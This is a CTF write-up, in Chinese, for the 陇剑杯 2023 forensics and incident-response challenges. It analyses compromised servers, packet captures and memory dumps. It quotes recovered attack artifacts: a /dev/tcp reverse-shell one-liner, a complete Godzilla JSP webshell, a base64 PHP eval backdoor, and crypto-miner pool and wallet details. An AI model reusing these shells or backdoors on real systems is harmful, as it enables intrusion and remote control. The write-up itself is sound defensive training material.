陇剑杯 2023 Writeup
题量非常多,师傅们也非常猛~ 整体来说陇剑杯大部分题目对新手还是挺友好的,可能大家最大的问题就是时间完全不够用2333,另外不清楚为什么那么多公司看重这比赛,很多联系代打的,理解不能(
SS
这个方向给了俩文件 do.tar
和 final.pcap
,分别为 Linux 所有目录文件的备份以及网站流量包,但是在做题的时候基本只看 do.tar
就够了
sevrer save_1
黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
/helloworld/src/main/resources/templates/hello.html
通过该文件里面的 Reznok's Hello World Spring Application 尝试 Github 搜索,发现为 CVE-2022-22965
sevrer save_2
黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
/helloworld/bbbb.sh 里得到命令
/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1
最终答案
192.168.43.128:2333
sevrer save_3
黑客的病毒名称是什么? 格式为:filename
一看是没找到,先做的后面题目,根据后面的答案猜到了正确答案,病毒在 home/guests
main
sevrer save_4
黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
/etc/shadow 分别得到账号密码
ll:openssl passwd -1 -salt 'salt' 123456:19560:0:99999:7:::
最终答案
ll:123456
sevrer save_5
服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
/home/guests/.log.txt
得到外网ip
172.105.202.239
sevrer save_6
病毒运行后释放了什么文件?格式:文件1,文件2
在 /home/guests/.idea 释放了俩文件
lolMiner 和 mine_doge.sh
sevrer save_7
矿池地址是什么? 格式:domain:1234
home/guests/.idea/mine_doge.sh
得到矿池地址
doge.millpools.cc:5567
sevrer save_5
黑客的钱包地址是多少?格式:xx:xxxxxxxx
/home/guests/.idea/mine_doge.sh
得到钱包地址
DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
WS
Wireshark1_1
被入侵主机的IP是?
192.168.246.28
Wireshark1_2
被入侵主机的口令是?
youcannevergetthis
Wireshark1_3
用户目录下第二个文件夹的名称是?
图片如上,第二个文件夹为
Downloads
Wireshark1_4
/etc/passwd中倒数第二个用户的用户名是?
mysql
IR
该题目给了一个 ova
镜像,可以直接导入 Vmware 之中,但是着实不方便,所有一直想着直接把文件目录全部拿出来,直接使用 R-studio 对 ova
里面的 vmdx
文件进行恢复,从而得到所有文件。
IncidentResponse_1
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
直接使用杀软对整个文件系统进行木马查杀,得到挖矿程序
/etc/redis/redis-server
6f72038a870f05cbf923633066e48881
IncidentResponse_2
挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
这种一般和挖矿程序在同一目录,在 redis.conf
中发现域名
donate.v2.xmrig.com
3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
题目提示:答案md5值前两位为3e
这题比较迷惑,一开始就确定铁定是 shiro 反序列化漏洞了,判定依据为攻击者最终攻击的为登陆页面,其次该系统使用的 renren-security
也确实采用了 Shiro 框架,同时系统运行日志 nohup.log
也报错爆出了 RememberMe
,但始终回答不对,最终根据 hint 试出了最终答案
shirodeserialization
3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
全局检索日志文件,得到 /var/log/nginx/access.log
find / -name 'access.log'
通过分析日志响应的状态码,得到攻击者IP
81.70.166.3
c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
直接 log 文件末尾得到正确的 UA
mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)
6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
找来找去,总共俩用户 root
和 superuser
而 root
用户的 authorized_keys
不为空,判定为权限维持手段之一
/root/.ssh/authorized_keys
a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
find / -newermt '2023-07-23 16:38:10' ! -newermt '2023-07-23 19:38:10'
使用命令查到到 redis.service
文件
/lib/systemd/system/redis.service
b2c5af8ce08753894540331e5a947d35
HW
hard_web_1
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
直接使用表达式进行过滤即可
tcp.connection.synack and ip.dst==192.168.162.188
得到如下三个端口
80,888,8888
hard_web_2
服务器中根目录下的flag值是多少?
哥斯拉的 JSP 流量,解密最后一个 Jsp 流量即可
flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3
该webshell的连接密码是多少?
解密流量发现关键信息 748007e861908c03
同时还发现 the key is 1****y // 748007e861908c03
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
直接写脚本爆破,最后发现直接去 cmd5 解密也行,就是收费
import hashlib
import itertools
target_hash = "748007e861908c03"
charset = "0123456789abcdefghijklmnopqrstuvwxyz"
for combination in itertools.product(charset, repeat=4):
attempt = "1" + "".join(combination) + "y"
md5_hash = hashlib.md5(attempt.encode()).hexdigest()[:16]
if md5_hash == target_hash:
print(f"Found match! Plaintext: {attempt}, MD5: {md5_hash}")
break
else:
print("No match found.")
# 14mk3y:748007e861908c03ba0830d5c47fd282
SW
SmallSword_1
连接蚁剑的正确密码是______________?(答案示例:123asd)
随便追踪一个木马文件的 HTTP 的流(如流143),即可得到正确密码
6ea280898e404bfabd0ebb702327b19f
SmallSword_2
攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
base64解码后得到
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
攻击者下载到的flag是______________?(答案示例:flag3{uuid})
导出所有文件后,发现有个 PHP 文件近 5M ,十分异常,直接查看发现是一个 exe 文件,我们手动删掉 ->|
后把后缀改为 exe
进行运行
运行过后得到一个高度有异常的图片,直接进行宽高爆破即可
flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
EW
经典 HTTP 流量包,直接 文件
-> 导出对象
-> HTTP
将文件全部导出
ez_web_1
服务器自带的后门文件名是什么?(含文件后缀)
一开始以为是 d00r.php
没成功,那么应该是通过其他文件写入的 d00r.php
,直接全局检索我们导出的文件,在 ViewMore(1).php
发现关键流量
a=file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
直接得到答案
ViewMore.php
ez_web_2
服务器的内网IP是多少?
每个 d00r.php
都看了一下,发现 d00r(7).php
执行了 ifconfig
其响应包内容中包含了两个内网IP,经过测试得到答案
192.168.101.132
ez_web_3
攻击者往服务器中写入的key是什么?
d00r(19).php
发现进行了写入操作,解码后发现是一个加密的 Zip 压缩包
cmd=file_put_contents('k3y_f1le', base64_decode('UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='));
查看前几个文件,在 d00r(16).php
得到压缩包密码
7e03864b0db7e6f9
解压后文件内容为
7d9ddff2-2d67-4eba-9e48-b91c26c42337
BF
baby_forensics_1
磁盘中的key是多少?
.\volatility.exe -f .\baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q '0x000000003df80070' -E .
然后 Rot 47
baby_forensics_2
电脑中正在运行的计算器的运行结果是多少?
.\volatility.exe -f .\baby_forensics.raw --profile=Win7SP1x64 windows > dump
得到运行结果
7598632541
baby_forensics_3
该内存文件中存在的flag值是多少?
010 打开 发现有串字符串 多次出现
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
同时发现一个类似 key 的东西 qwerasdf
直接 AES 解密即可
flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
TP
tcpdump_1
攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
流 1323
发现登录成功的回显
TMjpxFGQwD:123457
tcpdump_2
攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
这题也没啥好说的,直接在最一开始登录成功后发现其 cookie
最后为 userid=1
,而到了后面的流量包中发现 userid=2
了,那么直接提交后面的 cookie
内容
accesstoken=f412d3a0378d42439ee016b06ef3330c;zyplayertoken=f412d3a0378d42439ee016b06ef3330cqzw=;userid=1
42ec1721ead6acc6c5eebcf86f77bcc6
tcpdump_3
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
在流 1600
发现账号密码,另外下面的 flag 不知道有什么用
zyplayer:1234567
tcpdump_4
攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
在流 1602
发现关键数据,通过检索其漏洞为 CVE-2022-21724
CVE-2022-21724:custom.dtd.xml
tcpdump_5
给出攻击者获取系统权限后,下载的工具的名称,比如nmap
在流 1611
发现下载了工具
fscan
HD
hacked_1
admIn用户的密码是什么?
流 56
发现用户密码为加密数据
同时在流 66
发现 key 和 iv
直接进行 AES 解密即可
KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=
key:l36DoqKUYQP0N7e1
iv:131b0c8a7a6e072e
hacked_2
app.config[‘SECRET_KEY’]值为多少?
流 69
发现 SECRET_KEY
ssti_flask_hsfvaldb
hacked_3
flask网站由哪个用户启动?
解密 flask session 发现执行了 whoami 命令,最终得到
red
hacked_4
攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
放眼望去,路由就那几个,随机试了一下,得到正确答案
Index
Web
fungame
近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag就会变为可读权限。可以借用 /index.php?r=debug/default/index 的web接口的debug进行分析。
首先通过题干里面提到的 debug 接口查看调试的信息
/index.php?r=debug/default/index
在这里我们发现了 check 规则
?r=gii/default/diff&id=controller&file=deeef839799cab17ef6826cc2f5f44f7
既然如此我们直接去控制器里修改一下
/var/www/html/vendor/yiisoft/yii2-gii/src/controllers
我们直接把原有的逻辑注释掉即可
public function actionDiff($id, $file)
{
// $generator = $this->loadGenerator($id);
// if ($generator->validate()) {
// foreach ($generator->generate() as $f) {
// if ($f->id === $file) {
// return $this->renderPartial('diff', [
// 'diff' => $f->diff(),
// ]);
// }
// }
// }
throw new NotFoundHttpException("Code file not found: $file");
}
等一分钟后 check 发现 404 了,说明没问题
尝试直接 cat /flag
还是提示无权限,说明还是没 fix 完毕,最后看了一下题干 敏感信息泄露也算哦
,突然意识到 Debug 面板肯定泄露敏感信息,根据经验来看,这些信息大概率是通过 phpinfo
来获取的,我们直接进行搜索发现一个文件
$ find /var/www/html -name '*.php' | xargs grep -n 'phpinfo();'
/var/www/html/vendor/yiisoft/yii2-debug/src/panels/ConfigPanel.php:72: phpinfo();
直接进行 fix 即可,把返回值改为空
public function getPhpInfo()
{
ob_start();
phpinfo();
$pinfo = ob_get_contents();
ob_end_clean();
$phpinfo = preg_replace('%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo);
$phpinfo = str_replace('<table',
'<div class="table-responsive"><table class="table table-condensed table-bordered table-striped table-hover config-php-info-table" ',
$phpinfo);
$phpinfo = str_replace('</table>', '</table></div>', $phpinfo);
$phpinfo = str_replace('<div class="center">', '<div class="phpinfo">', $phpinfo);
// return $phpinfo;
return;
}